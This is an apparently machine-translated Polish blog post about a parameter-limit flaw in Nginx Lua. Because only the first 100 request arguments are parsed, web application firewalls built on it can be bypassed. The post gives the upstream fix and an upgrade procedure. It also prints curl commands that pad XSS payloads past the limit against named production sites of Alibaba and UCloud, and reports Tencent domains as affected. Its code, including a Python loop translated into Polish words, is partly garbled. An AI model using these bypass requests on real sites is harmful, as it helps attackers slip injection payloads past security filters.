|
|
Opublikowano 27.04.2018 09:23:29
|
|
|
|

Gdy ginx Lua uzyska parametry, pierwsze 100 wartości parametrów jest domyślnie uzyskiwanych, a pozostałe są odrzucane. Dlatego WAF-y korzystające z Nginx Lua będą domyślnie omijane. 20 kwietnia 18 kwietnia ktoś z pasażera ochrony już ujawnił ten szczegół, więc opublikowałem także ten artykuł 233.
Zasada
Oficjalny opis jest następujący
Należy zauważyć, że domyślnie analizuje się maksymalnie 100 argumentów żądań (w tym te o tej samej nazwie), a dodatkowe argumenty żądań są cicho odrzucane, aby zapobiec potencjalnemu wypadkowi Ataki typu denial of service. Domyślnie można parsować do 100 parametrów żądań (w tym tych o tej samej nazwie), a dodatkowe parametry żądań są automatycznie usuwane, aby zapobiec potencjalnym atakom typu denial-of-service.
Wyszukaj 100, mniej więcej następująca metoda ma ten sam problem. ngx.req.get_uri_args Pobierz parametry żądania dla get ngx.req.get_post_args Pobierz parametry żądania dla posta ngx.req.get_headers Pobierz nagłówek żądania ngx.decode_args Odkoduj adres URL parametrów ngx.resp.get_headers Pobierz nagłówek odpowiedzi W kodzie źródłowym modułu lua-nginx widzimy, że kod źródłowy ustawia domyślny maksymalny parametr żądania i nagłówek na 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Jednak oficjalny oferuje metodę modyfikacji wartości domyślnej, na przykład ngx.req.get_uri_args (200), aby uzyskać pierwsze 200 parametrów żądania.
Test
Jeśli parametr żądania wynosi 101, ostatni parametr żądania nie może zostać uzyskany.
curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Jeśli zmniejszysz jeden parametr żądania, możesz otrzymać ostatni parametr żądania, gdy parametry żądania wynoszą dokładnie 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 O: ZZBG Mam cię, zbg
Należy zauważyć, że domyślnie to faktycznie 100 parametrów żądania, a parametry żądania po 100 parametrach żądania zostaną odrzucone.
Jest dziwna rzecz, że w powyższym powrocie, w środku przybliżonej pozycji, końcowy parametr zbg jest już wyjściem. Moim zdaniem wynik nie jest w kolejności, ale kolejność parsowania odpowiada kolejności przesyłania parametrów, ponieważ gdy wartość 101. parametru to zbg, nie można jej uzyskać.
Dołączony jest skrypt pythona, który generuje parametry:
# Autor: ZBG # Poczta:zbg@zbg.org # Data: 2018-04-03
a = '' dla i w zakresie (200): a = a + 'a{0}={1}&'.format(i+1, i+1) print a naprawa Oczywiście nie zaleca się modyfikowania wartości MAX parametru w kodzie źródłowym. Bo bez względu na to, jak dużą wartość ustawisz, można ją obejść. Zaleca się ustawienie go według parametrów metody. Jeśli uda Ci się uzyskać długość parametru żądania i użyć metody takiej jak ngx.req.get_uri_args (lenth), czy to nie wystarczy? Czytając dokumentację, okazało się, że nie udało się uzyskać liczby żądanych parametrów. Jednak jeśli ustawisz lenth na 0, możesz uzyskać wszystkie żądane parametry.
Ten argument można ustawić na zero, aby usunąć limit i przetworzyć wszystkie otrzymane argumenty żądania. Local args = ngx.req.get_uri_args(0)
Jednak zdecydowanie odradza się ustawianie go na 0, aby zapobiec potencjalnym atakom typu denial-of-service.
Zdejmowanie max_args jest zdecydowanie odradzane.
Właściwie zastanawiałem się, dlaczego ustawienie 0 prowadzi do potencjalnego ataku typu denial of service, a żądanie i tak trafia do nginx, niezależnie od liczby parametrów w get lub post.
Zgłosiłem sprawę urzędnikowi, a autor powiedział, że ngx.req.get_uri_args (0) zwiększy zużycie CPU i pamięci przez serwer. Później przetestowałem 200 parametrów i użyłem Nginx+php, aby uzyskać 200. parametr, co oznacza, że Nginx domyślnie nie ogranicza liczby żądanych parametrów. Wtedy problem może leżeć w samym Nginx Lua,Gdy Nginx Lua używa ngx.req.get_uri_args(0) do pobierania wszystkich parametrów i iteruje przez nie, gdy jest dużo żądanych parametrów, zużywa więcej CPU i pamięci, a ostatecznie prowadzi nawet do odmowy usługi。
W dniu 04/03/2018 Bypass007 oficjalnie zgłosił PROBLEM dotyczący tej poprawki błędu i ostatecznie oficjalnie dodał nową funkcję opartą na tym PROBLEMIE 2018-04-21. Adres rekordu commitu tej funkcji: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Opis funkcji jest następujący: W wersjach po v0.10.13 (w tym v0.10.13), gdy limit liczby żądań zostanie przekroczony, drugą wartością zwrotną jest skrócony ciąg tekstów. Od wersji 0.10.13, gdy limit zostanie przekroczony, zwraca się druga wartość, czyli ciąg "ścięty". Jednak opcjonalny argument funkcji max_args może być użyty do nadpisania tego ograniczenia: lokalne ARG, err = ngx.req.get_uri_args(10) jeśli err == "obcięte", to -- można zdecydować się zignorować lub odrzucić obecną prośbę tutaj koniec
Więc pojawiła się ostateczna poprawka.
Aktualizacja lua-nginx-module do wersji 0.10.13 lub nowszej
Następnie ogranicz łączną liczbę parametrów, a jeśli chodzi o to, jak bardzo jest ograniczona, osobiście uważam, że 100 wystarcza
OpenResty aktualizuje moduł lua-nginx-module
Nie znalazłem żadnych informacji o module aktualizacji OpenResty, więc samodzielnie wymyśliłem, jak ulepszyć moduł lua-nginx.
Kroki są następujące:
Pobierz odpowiadającą wersję modułu lua-nginx-module Wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 rozpakować tar -zxvf v0.10.13 Usuń poprzednią wersję lua-nginx-module rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Skopiuj nowy moduł lua-nginx. mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 Dla kompilacji należy odnieść się do parametrów kompilacji VeryNginx
Obejście przypadku
Należy wyjaśnić, że w kolejnych WAF-ach nie jestem pewien, czy używać Nginx Lua, ale można je ominąć przez łączną liczbę parametrów.
Ali WAF
Ten WAF jest WAF używany wewnętrznie przez Alibabę, czyli WAF używany przez nazwy domen takie jak *.taobao.com, i nie był testowany dla chmurowego WAF sprzedawanego przez Alibaba Cloud. Najpierw poproś o ładunek POST XSS, aby go przechwycić. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Dzięki Fuzz odkryto, że gdy liczba parametrów zostanie zwiększona do 478 za pomocą XSS Payload, nie jest już przechwytywana, a strona internetowa może być dostępna normalnie. curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
Testowany WAF to WAF sprzedawany przez UCloud. Gdy parametr żądania zostanie zwiększony do 138, nie będzie już blokowany, a strona internetowa będzie dostępna normalnie. curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
Tencent WAF
Ten WAF jest WAF używany wewnętrznie przez Tencent, czyli WAF używany przez nazwy domen takie jak *.qq.com, i nie był testowany dla chmurowego WAF sprzedawanego przez Tencent Cloud. Gdy parametr żądania wzrośnie do 4000, nie będzie już blokowany, a strona będzie dostępna normalnie. Losowe testy następujących dziedzin są objęte wpływem. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
streszczenie
To pytanie jest bardzo proste i możesz je znaleźć, uważnie czytając dokument. Ale dlaczego się nie dowiedziałem? Myślę, że to wciąż za mało myślenia. Bibliografia
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Poprzedni:Ucz się Photoshopa od podstaw, 18 lekcji od początkującego do bogaNastępny:Mocne i słabe strony Lua i Luajita
|